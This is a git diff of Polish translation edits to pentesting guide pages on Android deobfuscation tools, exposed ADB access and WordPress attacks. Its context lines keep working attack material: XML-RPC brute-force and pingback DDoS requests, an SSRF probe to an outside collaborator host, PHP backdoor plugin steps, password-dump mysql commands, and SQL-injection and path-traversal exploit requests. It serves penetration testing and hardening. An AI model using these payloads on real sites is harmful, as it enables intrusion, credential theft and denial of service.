@ -693,7 +693,7 @@ Zauważ, że w zależności od usługi i konfiguracji, której używasz do obfus
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskacje kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
|
||||
Z [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
|
||||
|
||||
ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie release.
|
||||
|
||||
@ -701,13 +701,13 @@ ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowani
|
||||
|
||||
Znajdź przewodnik krok po kroku, jak deobfuskować apk w [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Z tego przewodnika) Ostatnim razem, gdy sprawdzaliśmy, tryb działania Dexguard był:
|
||||
(Z tego przewodnika) Ostatni raz, gdy sprawdzaliśmy, tryb działania Dexguard był:
|
||||
|
||||
- załaduj zasób jako InputStream;
|
||||
- przekaż wynik do klasy dziedziczącej z FilterInputStream, aby go odszyfrować;
|
||||
- wykonaj kilka bezużytecznych obfuskacji, aby zmarnować kilka minut czasu odwracającego;
|
||||
- przekaż odszyfrowany wynik do ZipInputStream, aby uzyskać plik DEX;
|
||||
- w końcu załaduj wynikowy DEX jako zasób, używając metody `loadDex`.
|
||||
- w końcu załaduj wynikowy DEX jako zasób za pomocą metody `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
@ -717,11 +717,11 @@ Możesz przesłać obfuskowane APK na ich platformę.
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach androidowych i deobfuskacji kodu aplikacji androidowych. Używa publicznego API Gemini od Google'a.
|
||||
To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach android i deobfuskacji kodu aplikacji android. Używa publicznego API Gemini od Google.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
|
||||
To **ogólny deobfuskator androida.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
@ -735,7 +735,7 @@ APKiD dostarcza informacji o **tym, jak APK zostało stworzone**. Identyfikuje w
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, zawierająca zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych geeków i badaczy bezpieczeństwa do inżynierii wstecznej i analizy złośliwego oprogramowania.
|
||||
AndroL4b to wirtualna maszyna bezpieczeństwa Androida oparta na ubuntu-mate, która zawiera zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych geeków i badaczy bezpieczeństwa do reverse engineering i analizy złośliwego oprogramowania.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -27,7 +27,7 @@ whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
|
||||
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
|
||||
```
|
||||
- Jeśli urządzenie wymusza uwierzytelnianie ADB (ro.adb.secure=1), będziesz musiał być wstępnie autoryzowany (USB RSA auth) lub użyć parowania debugowania bezprzewodowego Androida 11+ (co wymaga jednorazowego kodu wyświetlanego na urządzeniu).
|
||||
- Niektóre obrazy producentów, wersje inżynieryjne/userdebug, emulatory, telewizory, STB i zestawy deweloperskie udostępniają adbd bez uwierzytelniania lub z adbd działającym jako root. W takich przypadkach zazwyczaj trafisz bezpośrednio do powłoki lub powłoki roota.
|
||||
- Niektóre obrazy producentów, wersje inżynieryjne/userdebug, emulatory, telewizory, STB i zestawy deweloperskie udostępniają adbd bez uwierzytelnienia lub z adbd działającym jako root. W takich przypadkach zazwyczaj trafisz bezpośrednio do powłoki lub powłoki roota.
|
||||
|
||||
Aby uzyskać ogólny odniesienie do poleceń ADB, zobacz:
|
||||
|
||||
@ -115,7 +115,7 @@ Notatki
|
||||
- _adb-tls-pairing._tcp (parowanie)
|
||||
- _adb-tls-connect._tcp (połączenie sparowane)
|
||||
- _adb._tcp (legacy/plain)
|
||||
- Jeśli mDNS jest filtrowany, klasyczne włączanie z pomocą USB może nadal działać w niektórych wersjach: `adb tcpip 5555` następnie `adb connect <ip>:5555` (do ponownego uruchomienia).
|
||||
- Jeśli mDNS jest filtrowany, klasyczne włączanie przez USB może nadal działać w niektórych wersjach: `adb tcpip 5555`, a następnie `adb connect <ip>:5555` (do ponownego uruchomienia).
|
||||
|
||||
Implikacje ofensywne: jeśli możesz interagować z interfejsem użytkownika urządzenia (np. fizyczny dostęp lub błędna konfiguracja MDM mobilnego), aby włączyć debugowanie bezprzewodowe i zobaczyć kod parowania, możesz ustanowić długoterminowy sparowany kanał ADB bez kabla. Niektórzy producenci OEM udostępniają ADB przez TCP w obrazach inżynieryjnych/deweloperskich bez parowania — zawsze sprawdzaj.
|
||||
|
||||
@ -132,7 +132,7 @@ setprop service.adb.tcp.port -1 # wyłącz nasłuchiwanie TCP (lub użyj: adb
|
||||
stop adbd; start adbd # zrestartuj demon
|
||||
```
|
||||
- Monitoruj rekordy mDNS `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` w sieciach korporacyjnych i alerty dla nieoczekiwanych słuchaczy 5555.
|
||||
- Inwentaryzuj niebezpieczne wersje: `getprop ro.debuggable`, `ro.build.type`, i `ro.adb.secure`.
|
||||
- Inwentaryzuj niebezpieczne wersje: `getprop ro.debuggable`, `ro.build.type` i `ro.adb.secure`.
|
||||
|
||||
## Shodan
|
||||
|
||||
@ -142,5 +142,5 @@ stop adbd; start adbd # zrestartuj demon
|
||||
## Odnośniki
|
||||
|
||||
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
|
||||
- AOSP – ADB over Wi‑Fi, parowanie i nazwy usług mDNS: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
|
||||
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -22,20 +22,20 @@
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych z HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- `xmlrpc.php` to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych za pomocą HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez [REST API](https://developer.wordpress.org/rest-api/reference) WordPressa.
|
||||
- Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy.
|
||||
- `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę.
|
||||
- `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
|
||||
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytanymi typami postów i taksonomiami.
|
||||
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytującymi typami postów i taksonomiami.
|
||||
|
||||
**Post exploitation**
|
||||
**Post eksploitacja**
|
||||
|
||||
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
|
||||
|
||||
### Uprawnienia użytkowników
|
||||
|
||||
- **Administrator**
|
||||
- **Redaktor**: Publikuje i zarządza swoimi oraz innymi postami
|
||||
- **Redaktor**: Publikuje i zarządza swoimi i innymi postami
|
||||
- **Autor**: Publikuje i zarządza swoimi postami
|
||||
- **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować
|
||||
- **Subskrybent**: Przegląda posty i edytuje swój profil
|
||||
@ -89,9 +89,9 @@ Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Jeśli odpowiedzi to **200** lub **30X**, oznacza to, że id jest **ważne**. Jeśli odpowiedź to **400**, to id jest **nieważne**.
|
||||
Jeśli odpowiedzi są **200** lub **30X**, oznacza to, że id jest **ważne**. Jeśli odpowiedź to **400**, to id jest **nieważne**.
|
||||
|
||||
- **wp-json:** Możesz także spróbować uzyskać informacje o użytkownikach, wykonując zapytanie:
|
||||
- **wp-json:** Możesz również spróbować uzyskać informacje o użytkownikach, wykonując zapytanie:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
@ -103,11 +103,11 @@ Zauważ, że ten punkt końcowy ujawnia tylko użytkowników, którzy opublikowa
|
||||
|
||||
Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP.
|
||||
|
||||
- **Enumaracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**.
|
||||
- **Enumeracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do uruchomienia ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład).
|
||||
Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do przeprowadzenia ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład).
|
||||
|
||||
Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
|
||||
|
||||
@ -134,7 +134,7 @@ Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
|
||||
```
|
||||
Wiadomość _"Nieprawidłowa nazwa użytkownika lub hasło"_ wewnątrz odpowiedzi z kodem 200 powinna się pojawić, jeśli dane uwierzytelniające są nieprawidłowe.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -168,18 +168,18 @@ Używając prawidłowych danych uwierzytelniających, możesz przesłać plik. W
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Również istnieje **szybszy sposób** na brutalne łamanie haseł za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku haseł w tym samym żądaniu:
|
||||
Również istnieje **szybszy sposób** na brute-force'owanie poświadczeń za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku poświadczeń w tym samym żądaniu:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Obejście 2FA**
|
||||
|
||||
Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne dane logowania, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi danymi, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne poświadczenia, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi poświadczeniami, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS lub skanowanie portów**
|
||||
|
||||
Jeśli możesz znaleźć metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu.\
|
||||
Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodując **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port).
|
||||
Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodując **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** lo **zeskanował** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -217,9 +217,9 @@ Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hości
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Wordpress może wysłać do Ciebie żądanie.
|
||||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Worpress może wysłać do Ciebie żądanie.
|
||||
|
||||
Oto odpowiedź, gdy to nie działa:
|
||||
To jest odpowiedź, gdy to nie działa:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Uzyskaj dostęp przez nadpisanie bitu
|
||||
|
||||
Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Można więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zignorować operację NOT (`!`).
|
||||
Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) możesz zmienić 1 bit w dowolnym pliku wordpress. Możesz więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zignorować operację NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -269,7 +269,7 @@ to get a session.
|
||||
### PHP plugin
|
||||
|
||||
Możliwe, że można przesłać pliki .php jako wtyczkę.\
|
||||
Utwórz swój backdoor w PHP, używając na przykład:
|
||||
Utwórz swój php backdoor, używając na przykład:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -307,7 +307,7 @@ Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako p
|
||||
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny.
|
||||
- Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress.
|
||||
|
||||
Zawartość obejmuje wizualne pomoce ilustrujące kroki w pulpicie WordPressa dotyczące instalacji i aktywacji wtyczki. Ważne jest jednak, aby zauważyć, że eksploatacja podatności w ten sposób jest nielegalna i nieetyczna bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak testy penetracyjne z wyraźnym pozwoleniem.
|
||||
Zawartość zawiera wizualne pomoce ilustrujące kroki w pulpicie WordPressa dotyczące instalacji i aktywacji wtyczki. Ważne jest jednak, aby zauważyć, że eksploatacja podatności w ten sposób jest nielegalna i nieetyczna bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak testy penetracyjne z wyraźnym pozwoleniem.
|
||||
|
||||
**Aby uzyskać bardziej szczegółowe kroki, sprawdź:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
@ -322,7 +322,7 @@ Zawartość obejmuje wizualne pomoce ilustrujące kroki w pulpicie WordPressa do
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Extract usernames and passwords:
|
||||
Wyciągnij nazwy użytkowników i hasła:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -332,13 +332,13 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Powierzchnia ataku
|
||||
### Attack Surface
|
||||
|
||||
Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa, aby znaleźć luki w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pomocą handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często te funkcje będą opierać zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
|
||||
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pośrednictwem handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często te funkcje będą opierać zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
|
||||
|
||||
To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce:
|
||||
```php
|
||||
@ -352,7 +352,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
|
||||
- **REST API**
|
||||
|
||||
Możliwe jest również udostępnienie funkcji z WordPressa, rejestrując REST AP za pomocą funkcji `register_rest_route`:
|
||||
Możliwe jest również udostępnienie funkcji z WordPressa, rejestrując REST API za pomocą funkcji `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -364,15 +364,15 @@ $this->namespace, '/get/', array(
|
||||
```
|
||||
`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik ma uprawnienia do wywołania metody API.
|
||||
|
||||
**Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie sprawdzanie uprawnień użytkownika.**
|
||||
**Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
|
||||
|
||||
- **Bezpośredni dostęp do pliku php**
|
||||
|
||||
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to podatne na wykorzystanie przez każdego użytkownika.
|
||||
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to wykorzystywalne przez każdego użytkownika.
|
||||
|
||||
### Nieautoryzowane usuwanie dowolnych plików za pomocą wp_ajax_nopriv (Motyw Litho <= 3.0)
|
||||
|
||||
Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pośrednictwem haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wersja **_nopriv_**, **funkcja zwrotna staje się dostępna dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować:
|
||||
Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pomocą haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wersja **_nopriv_**, **funkcja zwrotna staje się dostępna dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować:
|
||||
|
||||
1. **sprawdzenie uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz
|
||||
2. **CSRF nonce** weryfikowane za pomocą `check_ajax_referer()` / `wp_verify_nonce()`, oraz
|
||||
@ -418,7 +418,7 @@ Inne istotne cele to pliki `.php` wtyczek/motywów (aby złamać wtyczki zabezpi
|
||||
#### Lista kontrolna wykrywania
|
||||
|
||||
* Każdy `add_action( 'wp_ajax_nopriv_...')` callback, który wywołuje pomocniki systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||
* Konkatenacja niesanitowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Konkatenacja niesanitizowanego wejścia użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Wzmacnianie
|
||||
@ -441,14 +441,14 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i podwójnie sprawdź:
|
||||
> • Uwierzytelnienie • Autoryzacja • Nonce • Sanityzacja wejścia • Ograniczenie ścieżki (np. za pomocą `realpath()` oraz `str_starts_with()`).
|
||||
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i podwójnie sprawdzaj:
|
||||
> • Uwierzytelnienie • Autoryzacja • Nonce • Sanityzacja wejścia • Ograniczenie ścieżki (np. za pomocą `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Eskalacja uprawnień poprzez przywracanie przestarzałych ról i brak autoryzacji (ASE "Wyświetl administratora jako rolę")
|
||||
### Eskalacja uprawnień poprzez przywracanie przestarzałej roli i brak autoryzacji (ASE "Wyświetl administratora jako rolę")
|
||||
|
||||
Wiele wtyczek implementuje funkcję "wyświetl jako rola" lub tymczasowego przełączania ról, zapisując oryginalną rolę(-y) w meta użytkownika, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega tylko na parametrach żądania (np. `$_REQUEST['reset-for']`) oraz liście zarządzanej przez wtyczkę bez sprawdzania uprawnień i ważnego nonce, prowadzi to do pionowej eskalacji uprawnień.
|
||||
Wiele wtyczek implementuje funkcję "wyświetl jako rola" lub tymczasowego przełączania ról, zapisując oryginalną rolę(-y) w meta użytkownika, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega tylko na parametrach żądania (np. `$_REQUEST['reset-for']`) i liście utrzymywanej przez wtyczkę bez sprawdzania uprawnień i ważnego nonce, staje się to pionową eskalacją uprawnień.
|
||||
|
||||
Przykład z rzeczywistego świata znaleziono w wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=<username>`, jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie przeprowadzała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z meta użytkownika `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
@ -474,7 +474,7 @@ Dlaczego jest to podatne na atak
|
||||
Wymagania wstępne ataku
|
||||
|
||||
- Wersja wtyczki z podatnością z włączoną funkcją.
|
||||
- Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w metadanych użytkownika z wcześniejszego użycia.
|
||||
- Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w meta użytkownika z wcześniejszego użycia.
|
||||
- Jakakolwiek uwierzytelniona sesja; brak nonce/zdolności w procesie resetowania.
|
||||
|
||||
Eksploatacja (przykład)
|
||||
@ -533,10 +533,9 @@ Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||||
- Usuń domyślnego użytkownika **admin**
|
||||
- Używaj **silnych haseł** i **2FA**
|
||||
- Okresowo **przeglądaj** uprawnienia użytkowników
|
||||
- **Ogranicz próby logowania**, aby zapobiec atakom Brute Force
|
||||
- **Ogranicz próby logowania** w celu zapobiegania atakom Brute Force
|
||||
- Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
|
||||
|
||||
|
||||
### Nieautoryzowana injekcja SQL przez niewystarczającą walidację (WP Job Portal <= 2.3.2)
|
||||
|
||||
Wtyczka rekrutacyjna WP Job Portal ujawniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod wewnątrz `modules/category/model.php::validateFormData()`:
|
||||
@ -552,7 +551,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
Problemy wprowadzone przez ten fragment:
|
||||
|
||||
1. **Niesanitizowane dane wejściowe użytkownika** – `parentid` pochodzi bezpośrednio z żądania HTTP.
|
||||
2. **Konkatenacja ciągów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / przygotowanej instrukcji.
|
||||
2. **Konkatenacja łańcuchów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / przygotowanej instrukcji.
|
||||
3. **Nieautoryzowana dostępność** – chociaż akcja jest wykonywana przez `admin-post.php`, jedynym sprawdzeniem jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać z publicznej strony osadzającej shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Wykorzystanie
|
||||
@ -572,15 +571,15 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub zmienia bazę danych, co dowodzi SQLi.
|
||||
|
||||
|
||||
### Nieautoryzowane pobieranie dowolnych plików / Przechodzenie ścieżek (WP Job Portal <= 2.3.2)
|
||||
### Nieautoryzowane pobieranie dowolnych plików / Przechodzenie po ścieżkach (WP Job Portal <= 2.3.2)
|
||||
|
||||
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobranie **dowolnego pliku na dysku** poprzez przechodzenie ścieżek. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobierać **dowolny plik na dysku** poprzez przechodzenie po ścieżkach. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
